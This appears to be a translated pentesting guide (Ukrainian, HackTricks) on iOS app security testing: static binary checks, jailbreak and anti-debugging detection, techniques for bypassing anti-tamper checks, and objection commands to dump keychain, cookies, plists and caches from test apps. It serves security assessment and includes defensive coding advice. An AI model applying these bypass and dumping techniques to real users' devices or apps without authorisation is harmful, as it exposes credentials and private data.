iOS Pentesting

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основи iOS

iOS Basics

Середовище тестування

На цій сторінці ви можете знайти інформацію про iOS simulator, emulators та jailbreaking:

iOS Testing Environment

Початковий аналіз

Basic iOS Testing Operations

Під час тестування будуть запропоновані кілька операцій (підключення до пристрою, читання/запис/завантаження/скачування файлів, використання інструментів тощо). Тому, якщо ви не знаєте, як виконати будь-яку з цих дій, будь ласка, почніть з читання сторінки:

iOS Basic Testing Operations

Tip

Для наступних кроків додаток повинен бути встановлений на пристрої і повинен вже мати IPA file програми.
Прочитайте сторінку Basic iOS Testing Operations щоб дізнатися, як це зробити.

Базовий статичний аналіз

Декілька цікавих декомпіляторів для iOS - IPA файлів:

Рекомендується використовувати інструмент MobSF для виконання автоматичного Static Analysis IPA файлу.

Виявлення захистів, присутніх у бінарнику:

  • PIE (Position Independent Executable): При увімкненні додаток завантажується за випадковою адресою пам’яті щоразу при запуску, ускладнюючи передбачення початкової адреси пам’яті.
otool -hv <app-binary> | grep PIE   # It should include the PIE flag
  • Stack Canaries: Для перевірки цілісності стеку перед викликом функції на стек поміщається значення «canary», яке перевіряється знову після завершення функції.
otool -I -v <app-binary> | grep stack_chk   # It should include the symbols: stack_chk_guard and stack_chk_fail
  • ARC (Automatic Reference Counting): Щоб запобігти поширеним помилкам корупції пам’яті
otool -I -v <app-binary> | grep objc_release   # It should include the _objc_release symbol
  • Encrypted Binary: Бінарник повинен бути зашифрований
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT   # The cryptid should be 1

Виявлення чутливих/ненадійних функцій

  • Weak Hashing Algorithms
# On the iOS device
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"

# On linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
  • Insecure Random Functions
# On the iOS device
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"

# On linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
  • Insecure ‘Malloc’ Function
# On the iOS device
otool -Iv <app> | grep -w "_malloc"

# On linux
grep -iER "_malloc"
  • Insecure and Vulnerable Functions
# On the iOS device
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"

# On linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"

Common Jailbreak detection methods

  • File System Checks: Перевірте наявність поширених файлів і директорій, пов’язаних з jailbreak, наприклад /Applications/Cydia.app або /Library/MobileSubstrate/MobileSubstrate.dylib.
  • Sandbox Violations: Спробуйте отримати доступ до обмежених областей файлової системи, які мають бути заблоковані на не-jailbroken пристроях.
  • API Checks: Перевірте, чи можна використовувати заборонені виклики, наприклад fork() для створення дочірнього процесу або system() щоб перевірити наявність /bin/sh.
  • Process Checks: Моніторте наявність відомих процесів, пов’язаних з jailbreak, таких як Cydia, Substrate або ssh.
  • Kernel Exploits: Перевірте наявність kernel експлойтів, які часто використовуються в jailbreak.
  • Environment Variables: Перевірте змінні оточення на ознаки jailbreak, такі як DYLD_INSERT_LIBRARIES.
  • Libraries Check: Перевірте бібліотеки, які завантажені в процес додатку.
  • Check schemes: Наприклад canOpenURL(URL(string: "cydia://")).

Common Anti-Debugging detection methods

  • Check for Debugger Presence: Використовуйте sysctl або інші методи, щоб перевірити, чи приєднаний дебагер.
  • Anti-Debugging APIs: Шукайте виклики до anti-debugging API, таких як ptrace або SIGSTOP, наприклад ptrace(PT_DENY_ATTACH, 0, 0, 0).
  • Timing Checks: Вимірюйте час виконання певних операцій і шукайте невідповідності, які можуть вказувати на відлагодження.
  • Memory Checks: Перевіряйте пам’ять на наявність відомих артефактів дебагера або модифікацій.
  • Environment Variables: Перевірте змінні оточення, які можуть вказувати на сесію відлагодження.
  • Mach Ports: Виявляйте, чи використовуються mach exception ports дебагерами.

Anti-Debugging & Anti-Tamper Techniques (Layered Checks)

Реальні додатки часто накладають перевірки pre-exec, on-attach і постійні перевірки. Загальні патерни для пошуку (і як їх нейтралізувати під час тестування):

  • Private API side-channel fingerprinting: приватні launch API (наприклад, SBSLaunchApplicationWithIdentifierAndURLAndLaunchOptions) використовуються для перевірки встановлених bundle IDs (com.opa334.TrollStore, org.coolstar.SileoStore, com.tigisoftware.Filza тощо) на основі кодів повернення/логів. Підхопіть виклик і санітизуванням аргументів/значень повернення емулюйте чистий пристрій.
  • Self-attestation via code-signing state: csops() з CS_OPS_ENTITLEMENTS_BLOB читає entitlements; несподівані значення викликають вихід. Поєднується з перевірками цілісності (CRC32/MD5 ресурсів, перевірка сертифікатів, Mach-O метадані як LC_ENCRYPTION_INFO_64) для виявлення повторного підписування або патчингу. Інструментуйте ці рутини і заставте їх повертати «очікувані» результати під час аналізу.
  • Kill-on-attach: ptrace(PT_DENY_ATTACH) у поєднанні з abort()/exit() при приєднанні. Обійдіть, нейтралізуючи шлях до завершення або підхопивши ptrace, щоб він вдавав успіх без заборони приєднання.
  • Crash forensics sabotage: перезапис регістрів CPU перед крашом, щоб зруйнувати backtraces. Краще ставити breakpoint/хук раніше в ланцюжку виявлення замість покладання на логи крашів.
  • Jetsam-based termination: навмисний тиск пам’яті для виклику jetsam, який не залишає звичних логів про краш. Шукайте великі алокації навколо логіки виявлення і обмежуйте/скорочуйте їх, щоб зберегти логи.
  • Continuous checks with delayed enforcement: таймери heartbeat перезапускають перевірки і виконують примусові дії пізніше. Трасуйте timers/dispatch sources і тримайте процес живим, обходячи відкладений шлях вбивства.

Базовий динамічний аналіз

Ознайомтеся з динамічним аналізом, який виконує MobSF. Вам потрібно буде переміщатися між різними переглядами і взаємодіяти з ними, але він буде підхоплювати кілька класів під час виконання інших дій і підготує звіт після завершення.

Перелік встановлених додатків

Використовуйте команду frida-ps -Uai щоб визначити bundle identifier встановлених додатків:

$ frida-ps -Uai
PID  Name                 Identifier
----  -------------------  -----------------------------------------
6847  Calendar             com.apple.mobilecal
6815  Mail                 com.apple.mobilemail
-  App Store            com.apple.AppStore
-  Apple Store          com.apple.store.Jolly
-  Calculator           com.apple.calculator
-  Camera               com.apple.camera
-  iGoat-Swift          OWASP.iGoat-Swift

Basic Enumeration & Hooking

Дізнайтеся, як enumerate the components of the application і як легко hook methods and classes за допомогою objection:

iOS Hooking With Objection

Структура IPA

Структура файлу IPA фактично є структурою запакованого архіву. Перейменувавши розширення на .zip, його можна розпакувати, щоб переглянути вміст. У цій структурі Bundle представляє повністю упакований додаток, готовий до встановлення. Всередині ви знайдете директорію з назвою <NAME>.app, яка містить ресурси додатка.

  • Info.plist: Цей файл містить специфічні конфігураційні відомості додатка.
  • _CodeSignature/: Ця директорія включає plist файл із підписом, що гарантує цілісність усіх файлів у bundle.
  • Assets.car: Стиснений архів, який зберігає asset-файли, наприклад іконки.
  • Frameworks/: Ця папка містить нативні бібліотеки додатка, які можуть бути у вигляді .dylib або .framework файлів.
  • PlugIns/: Тут можуть бути розширення додатка, відомі як .appex файли, хоча вони не завжди присутні. * Core Data: Використовується для збереження постійних даних додатка для офлайн-доступу, кешування тимчасових даних та додавання функції undo на одному пристрої. Щоб синхронізувати дані між кількома пристроями в одному iCloud-акаунті, Core Data автоматично віддзеркалює вашу схему до CloudKit container.
  • PkgInfo: Файл PkgInfo є альтернативним способом вказати type і creator коди вашого додатка або bundle.
  • en.lproj, fr.proj, Base.lproj: Це мовні пакети, які містять ресурси для відповідних мов, і базовий ресурс на випадок, якщо мова не підтримується.
  • Security: Директорія _CodeSignature/ відіграє критичну роль у безпеці додатка, перевіряючи цілісність усіх файлів у bundle за допомогою цифрових підписів.
  • Asset Management: Файл Assets.car використовує стиснення для ефективного керування графічними ресурсами, що важливо для оптимізації продуктивності додатка та зменшення його розміру.
  • Frameworks and PlugIns: Ці директорії підкреслюють модульність iOS-додатків, дозволяючи розробникам включати повторно використовувані бібліотеки коду (Frameworks/) та розширювати функціональність додатка (PlugIns/).
  • Localization: Структура підтримує кілька мов, полегшуючи глобальне використання додатка шляхом включення ресурсів для конкретних мовних пакетів.

Info.plist

Файл Info.plist слугує наріжним каменем для iOS-додатків, інкапсулюючи ключові конфігураційні дані у вигляді key-value пар. Цей файл є обов’язковим не лише для додатків, але й для app extensions та frameworks, що входять до складу bundle. Він може бути структурований у форматі XML або бінарному форматі і містить критичну інформацію — від дозволів додатка до налаштувань безпеки. Для детального вивчення доступних ключів можна звернутися до Apple Developer Documentation.

Тим, хто хоче працювати з цим файлом у більш доступному форматі, XML-конвертацію можна легко виконати за допомогою plutil на macOS (доступний за замовчуванням у версіях 10.2 і пізніших) або plistutil на Linux. Команди для конвертації такі:

  • Для macOS:
$ plutil -convert xml1 Info.plist
  • Для Linux:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Серед безлічі відомостей, які файл Info.plist може розкрити, варто відзначити рядки дозволів додатка (UsageDescription), кастомні URL-схеми (CFBundleURLTypes) та налаштування App Transport Security (NSAppTransportSecurity). Ці записи, разом з іншими, як-от експортовані/імпортовані власні типи документів (UTExportedTypeDeclarations / UTImportedTypeDeclarations), можна легко знайти, переглянувши файл або використавши просту команду grep:

$ grep -i <keyword> Info.plist

Шляхи даних

У середовищі iOS каталоги призначені окремо для системних додатків і додатків, встановлених користувачем. Системні додатки розміщуються в каталозі /Applications, тоді як додатки, встановлені користувачем, знаходяться під /var/mobile/containers/Data/Application/. Цим додаткам присвоюється унікальний ідентифікатор, відомий як 128-bit UUID, що ускладнює ручне знаходження папки додатку через випадковість назв директорій.

Warning

Оскільки додатки в iOS мають бути sandboxed, кожен додаток також матиме папку всередині $HOME/Library/Containers з назвою, що відповідає CFBundleIdentifier додатку.

Однак обидві папки (папки даних і контейнерів) містять файл .com.apple.mobile_container_manager.metadata.plist, який зв’язує обидві папки через ключ MCMetadataIdentifier).

Щоб полегшити пошук директорії встановленого користувачем додатку, objection tool надає корисну команду, env. Ця команда показує детальну інформацію про директорії для відповідного додатку. Нижче наведено приклад використання цієї команди:

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env

Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory    /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory   /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library

Як альтернативу, ім’я додатка можна шукати в каталозі /private/var/containers, використовуючи команду find:

find /private/var/containers -name "Progname*"

Команди, такі як ps та lsof, також можна використати для виявлення процесу додатка та переліку відкритих файлів відповідно, що дає уявлення про активні шляхи директорій застосунку:

ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1

Bundle directory:

  • AppName.app
  • Це Application Bundle, як було показано раніше в IPA, воно містить основні дані додатку, статичний контент, а також скомпільований бінарний файл застосунку.
  • Цей каталог видимий користувачам, але користувачі не можуть записувати в нього.
  • Вміст цього каталогу не резервується.
  • Вміст цієї папки використовується для перевірки підпису коду.

Data directory:

  • Documents/
  • Містить усі дані, створені користувачем. Кінцевий користувач застосунку ініціює створення цих даних.
  • Видимий користувачам і користувачі можуть записувати в нього.
  • Вміст цього каталогу резервується.
  • Застосунок може виключити шляхи з резервного копіювання, встановивши NSURLIsExcludedFromBackupKey.
  • Library/
  • Містить всі файли, які не є специфічними для користувача, такі як caches, preferences, cookies, та файли конфігурації property list (plist).
  • iOS-застосунки зазвичай використовують підкаталоги Application Support та Caches, але застосунок може створювати власні підкаталоги.
  • Library/Caches/
  • Містить напівпостійні кешовані файли.
  • Невидимий для користувачів і користувачі не можуть записувати в нього.
  • Вміст цього каталогу не резервується.
  • ОС може автоматично видаляти файли цього каталогу, коли застосунок не запущено і місце на диску закінчується.
  • Library/Application Support/
  • Містить постійні файли, необхідні для запуску застосунку.
  • Невидимий для користувачів і користувачі не можуть записувати в нього.
  • Вміст цього каталогу резервується.
  • Застосунок може виключити шляхи з резервного копіювання, встановивши NSURLIsExcludedFromBackupKey.
  • Library/Preferences/
  • Використовується для збереження властивостей, які можуть зберігатися навіть після перезапуску застосунку.
  • Інформація зберігається, незашифровано, всередині sandbox застосунку у plist файлі з назвою [BUNDLE_ID].plist.
  • Усі пари ключ/значення, збережені за допомогою NSUserDefaults, можна знайти в цьому файлі.
  • tmp/
  • Використовуйте цей каталог для запису тимчасових файлів, які не повинні зберігатися між запусками застосунку.
  • Містить непостійні кешовані файли.
  • Невидимий для користувачів.
  • Вміст цього каталогу не резервується.
  • ОС може автоматично видаляти файли цього каталогу, коли застосунок не запущено і місце на диску закінчується.

Давайте детальніше подивимось на iGoat-Swift’s Application Bundle (.app) каталог всередині каталогу Bundle (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app):

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType      Perms  NSFileProtection    ...  Name
------------  -------  ------------------  ...  --------------------------------------
Regular           420  None                ...  rutger.html
Regular           420  None                ...  mansi.html
Regular           420  None                ...  splash.html
Regular           420  None                ...  about.html

Regular           420  None                ...  LICENSE.txt
Regular           420  None                ...  Sentinel.txt
Regular           420  None                ...  README.txt

Binary Reversing

Всередині папки <application-name>.app ви знайдете бінарний файл під назвою <application-name>. Це файл, який буде виконаний. Ви можете виконати базову інспекцію бінарного файлу за допомогою інструмента otool:

otool -Vh DVIA-v2 #Check some compilation attributes
magic  cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64    ARM64        ALL  0x00     EXECUTE    65       7112   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE

otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]

Перевірте, чи додаток зашифрований

Перевірте, чи є вивід для:

otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO

Дизасемблювання бінарного файлу

Дизасемблюйте секцію text:

otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8    sub    sp, sp, #0x60
0000000100004abc    stp    x29, x30, [sp, #0x50]   ; Latency: 6
0000000100004ac0    add    x29, sp, #0x50
0000000100004ac4    sub    x8, x29, #0x10
0000000100004ac8    mov    x9, #0x0
0000000100004acc    adrp    x10, 1098 ; 0x10044e000
0000000100004ad0    add    x10, x10, #0x268

Щоб вивести Objective-C сегмент зразкового застосунку, можна використати:

otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa        0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache      0x0 __objc_empty_cache
vtable     0x0
data       0x1003de748
flags          0x80
instanceStart  8

Щоб отримати більш компактний код Objective-C, ви можете використовувати class-dump:

class-dump some-app
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

#pragma mark Named Structures

struct CGPoint {
double _field1;
double _field2;
};

struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};

struct CGSize {
double _field1;
double _field2;
};

However, the best options to disassemble the binary are: Hopper and IDA.

Збереження даних

To learn about how iOS stores data in the device read this page:

iOS Basics

Warning

Наступні місця для зберігання інформації слід перевіряти відразу після встановлення застосунку, після перевірки всіх функцій застосунку та навіть після виходу одного користувача і входу іншого.
Метою є знайти незахищену чутливу інформацію застосунку (паролі, токени), поточного користувача та раніше залогінених користувачів.

Plist

plist файли — це структуровані XML-файли, які містять пари ключ-значення. Це спосіб зберігання персистентних даних, тому іноді ви можете знайти чутливу інформацію в цих файлах. Рекомендується перевіряти ці файли після встановлення додатку та після інтенсивного використання, щоб побачити, чи записуються нові дані.

The most common way to persist data in plist files is through the usage of NSUserDefaults. This plist file is saved inside the app sandbox in Library/Preferences/<appBundleID>.plist

The NSUserDefaults class provides a programmatic interface for interacting with the default system. The default system allows an application to customize its behaviour according to user preferences. Data saved by NSUserDefaults can be viewed in the application bundle. This class stores data in a plist file, but it’s meant to be used with small amounts of data.

Ці дані більше не можна безпосередньо отримати через довірений комп’ютер, але доступ до них можливий шляхом виконання backup.

You can dump the information saved using NSUserDefaults using objection’s ios nsuserdefaults get

To find all the plist of used by the application you can access to /private/var/mobile/Containers/Data/Application/{APPID} and run:

find ./ -name "*.plist"

Щоб конвертувати файли з формату XML or binary (bplist) в XML, доступні різні методи залежно від вашої операційної системи:

Для користувачів macOS: Використовуйте команду plutil. Це вбудований інструмент у macOS (10.2+), призначений для цієї мети:

$ plutil -convert xml1 Info.plist

Для користувачів Linux: Спочатку встановіть libplist-utils, потім використайте plistutil для конвертації вашого файлу:

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Within an Objection Session: Для аналізу мобільних додатків, спеціальна команда дозволяє безпосередньо конвертувати plist файли:

ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist

Core Data

Core Data є фреймворком для керування модельним шаром об’єктів у вашому додатку. Core Data can use SQLite as its persistent store, але сам фреймворк не є базою даних.
CoreData за замовчуванням не шифрує свої дані. Проте додатковий шар шифрування можна додати до CoreData. Див. GitHub Repo для докладнішої інформації.

Інформацію SQLite Core Data додатку можна знайти за шляхом /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support

Якщо ви можете відкрити SQLite і отримати доступ до конфіденційної інформації, то ви знайшли неправильну конфігурацію.

-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);

NSManagedObjectContext *context =[appDelegate managedObjectContext];

User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);

}else{
NSLog(@"data stored in core data");
}
}

YapDatabase

YapDatabase — це key/value store, побудований на основі SQLite.
Оскільки Yap databases — це бази даних SQLite, ви можете знайти їх, використовуючи команду, наведену в попередньому розділі.

Інші бази даних SQLite

Часто додатки створюють власну базу даних SQLite. Вони можуть зберігати чутливі дані у ній і залишати їх незашифрованими. Тому завжди варто перевірити кожну базу даних у директорії додатка. Перейдіть до директорії додатка, де зберігаються дані (/private/var/mobile/Containers/Data/Application/{APPID})

find ./ -name "*.sqlite" -or -name "*.db"

Firebase Real-Time Databases

Розробникам доступно зберігати та синхронізувати дані у NoSQL хмарній базі даних через Firebase Real-Time Databases. Дані зберігаються у форматі JSON і синхронізуються з усіма підключеними клієнтами в режимі реального часу.

You can find how to check for misconfigured Firebase databases here:

Firebase Database

Бази даних Realm

Realm Objective-C та Realm Swift пропонують потужну альтернативу для зберігання даних, яку не надає Apple. За замовчуванням вони зберігають дані у незашифрованому вигляді, шифрування доступне через відповідну конфігурацію.

Бази даних розташовані за адресою: /private/var/mobile/Containers/Data/Application/{APPID}. Для перегляду цих файлів можна використовувати команди, наприклад:

iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm  default.realm.lock  default.realm.management/  default.realm.note|

$ find ./ -name "*.realm*"

Для перегляду цих файлів бази даних рекомендується використовувати інструмент Realm Studio.

Щоб реалізувати шифрування в базі даних Realm, можна використовувати наступний фрагмент коду:

// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}

Бази даних Couchbase Lite

Couchbase Lite описується як легкий та вбудований рушій бази даних, який використовує орієнтований на документи (NoSQL) підхід. Розроблений як нативний для iOS та macOS, він дозволяє безшовно синхронізувати дані.

Щоб виявити потенційні бази даних Couchbase на пристрої, слід перевірити такий каталог:

ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/

Cookies

iOS зберігає cookies додатків у Library/Cookies/cookies.binarycookies у папці кожного додатка. Проте розробники іноді вирішують зберігати їх у keychain, оскільки згаданий cookie file може бути доступний у резервних копіях.

Щоб переглянути cookie файл ви можете використати this python script або команду objection ios cookies get.
Ви також можете використати objection для конвертації цих файлів у формат JSON та перегляду даних.

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]

Кеш

За замовчуванням NSURLSession зберігає дані, такі як HTTP-запити та відповіді в базі даних Cache.db. Ця база може містити чутливі дані, якщо токени, імена користувачів або будь-яка інша конфіденційна інформація були кешовані. Щоб знайти кешовану інформацію, відкрийте директорію даних додатка (/var/mobile/Containers/Data/Application/<UUID>) і перейдіть до /Library/Caches/<Bundle Identifier>. WebKit cache також зберігається у файлі Cache.db. Objection може відкрити та взаємодіяти з базою командою sqlite connect Cache.db, оскільки це звичайна SQLite database.

Рекомендується відключити кешування цих даних, оскільки вони можуть містити конфіденційну інформацію в запиті або відповіді. Нижче наведено різні способи досягти цього:

  1. Рекомендовано видаляти кешовані відповіді після logout. Це можна зробити за допомогою наданого Apple методу removeAllCachedResponses. Виклик методу виглядає так:

URLCache.shared.removeAllCachedResponses()

Цей метод видалить усі кешовані запити та відповіді з файлу Cache.db.

  1. Якщо вам не потрібні переваги cookie, рекомендовано використовувати властивість конфігурації URLSession .ephemeral, яка відключає збереження cookie та кешів.

Apple documentation:

An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.

  1. Кеш також можна відключити, встановивши Cache Policy на .notAllowed. Це заборонить збереження кешу будь-яким чином — як у пам’яті, так і на диску.

Snapshots

Коли ви натискаєте home button, iOS робить знімок поточного екрану, щоб переходи між додатками були плавнішими. Однак, якщо на поточному екрані присутні чутливі дані, вони будуть збережені у зображенні (яке зберігається після перезавантажень). Це ті самі знімки, до яких ви можете отримати доступ подвійним натисканням home button для перемикання між додатками.

Поки iPhone не є jailbroken, зловмисник повинен мати доступ до розблокованого пристрою, щоб побачити ці скріншоти. За замовчуванням останній знімок зберігається в sandbox додатка в папці Library/Caches/Snapshots/ або Library/SplashBoard/Snapshots (the trusted computers can’ t access the filesystem from iOX 7.0).

Один зі способів запобігти цьому небажаному поведінкові — показати порожній екран або видалити чутливі дані перед створенням знімка, використовуючи функцію ApplicationDidEnterBackground().

Нижче приклад методу для відновлення, який встановлює стандартний скріншот.

Swift:

private var backgroundImage: UIImageView?

func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}

func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}

Objective-C:

@property (UIImageView *)backgroundImage;

- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}

Це встановлює фонове зображення overlayImage.png щоразу, коли застосунок переходить у фоновий режим. Це запобігає sensitive data leaks, оскільки overlayImage.png завжди перекриває поточний вигляд.

Keychain

Для доступу та керування iOS keychain доступні інструменти, такі як Keychain-Dumper, які підходять для jailbroken devices. Крім того, Objection надає команду ios keychain dump для схожих цілей.

Збереження облікових даних

Клас NSURLCredential ідеально підходить для збереження чутливої інформації безпосередньо в keychain, уникаючи потреби в NSUserDefaults або інших обгортках. Щоб зберегти облікові дані після входу, використовується наступний Swift-код:

NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];

Щоб витягти ці збережені облікові дані, використовується команда Objection ios nsurlcredentialstorage dump.

Користувацькі клавіатури та кеш клавіатури

Починаючи з iOS 8.0 користувачі можуть встановлювати розширення користувацьких клавіатур, якими можна керувати через Налаштування > Загальні > Клавіатура > Клавіатури. Хоча ці клавіатури додають функціональність, вони несуть ризик логування натискань клавіш та передачі даних на зовнішні сервери; користувачів повідомляють про клавіатури, що вимагають доступу до мережі. Додатки можуть і повинні обмежувати використання користувацьких клавіатур при введенні конфіденційної інформації.

Рекомендації з безпеки:

  • Рекомендується відключити сторонні клавіатури для підвищення безпеки.
  • Звертайте увагу на функції автокорекції та автопропозицій стандартної клавіатури iOS, які можуть зберігати конфіденційну інформацію у кеш-файлах, розташованих у Library/Keyboard/{locale}-dynamic-text.dat або /private/var/mobile/Library/Keyboard/dynamic-text.dat. Ці кеш-файли слід регулярно перевіряти на наявність чутливих даних. Рекомендується очистити кеш шляхом скидання словника клавіатури через Налаштування > Загальні > Скидання > Скинути словник клавіатури.
  • Перехоплення мережевого трафіку може показати, чи передає користувацька клавіатура натискання клавіш на віддалений сервер.

Запобігання кешуванню текстових полів

Протокол UITextInputTraits protocol пропонує властивості для керування автокорекцією та захищеним введенням тексту, що необхідно для запобігання кешуванню конфіденційної інформації. Наприклад, відключити автокорекцію та ввімкнути захищене введення тексту можна за допомогою:

textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;

Крім того, розробники повинні переконатися, що текстові поля, особливо ті, що використовуються для введення конфіденційної інформації, такої як паролі та PIN-коди, відключають кешування, встановивши autocorrectionType у UITextAutocorrectionTypeNo і secureTextEntry у YES.

UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;

Logs

Налагодження коду часто включає використання logging. Це пов’язано з ризиком, оскільки logs можуть містити конфіденційну інформацію. Раніше, в iOS 6 та раніших версіях, logs були доступні для всіх додатків, що створювало ризик витоку конфіденційних даних. Тепер додатки мають доступ лише до своїх logs.

Незважаючи на ці обмеження, зловмисник з фізичним доступом до розблокованого пристрою все ще може скористатися цим, підключивши пристрій до комп’ютера та читати logs. Важливо зауважити, що logs залишаються на диску навіть після видалення додатка.

Щоб знизити ризики, рекомендується ретельно взаємодіяти з додатком, перевіряючи всі його функції та точки введення, щоб переконатися, що випадково не логуються конфіденційні дані.

Під час перегляду вихідного коду додатка на наявність потенційних витоків, звертайте увагу як на predefined, так і на custom logging statements, використовуючи ключові слова такі як NSLog, NSAssert, NSCAssert, fprintf для вбудованих функцій, та будь-які згадки Logging або Logfile для кастомних реалізацій.

Monitoring System Logs

Щоб відстежувати ці logs, використовують інструменти та команди, такі як:

idevice_id --list   # To find the device ID
idevicesyslog -u <id> (| grep <app>)   # To capture the device logs

корисні. Крім того, Xcode дозволяє збирати журнали консолі:

  1. Відкрийте Xcode.
  2. Підключіть iOS-пристрій.
  3. Перейдіть у Window -> Devices and Simulators.
  4. Виберіть свій пристрій.
  5. Спровокуйте проблему, яку ви досліджуєте.
  6. Використайте кнопку Open Console, щоб переглянути журнали в новому вікні.

Для більш просунутого логування, підключення до shell пристрою та використання socat може забезпечити моніторинг журналів у режимі реального часу:

iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock

Далі наведено команди для спостереження за активністю логів, які можуть бути неоціненними при діагностиці проблем або виявленні потенційного data leakage у логах.

Резервні копії

Функції автоматичного резервного копіювання вбудовані в iOS, що дозволяє створювати копії даних пристрою через iTunes (до macOS Catalina), Finder (після macOS Catalina) або iCloud. Ці резервні копії охоплюють майже всі дані пристрою, за винятком дуже чутливих елементів, таких як деталі Apple Pay та налаштування Touch ID.

Ризики безпеки

Включення встановлених додатків та їхніх даних до резервних копій ставить питання потенційного data leakage і ризику, що зміни у резервних копіях можуть змінити функціональність додатка. Рекомендується не зберігати конфіденційну інформацію в plaintext у каталозі будь-якого додатка або його підкаталогах, щоб зменшити ці ризики.

Виключення файлів з резервних копій

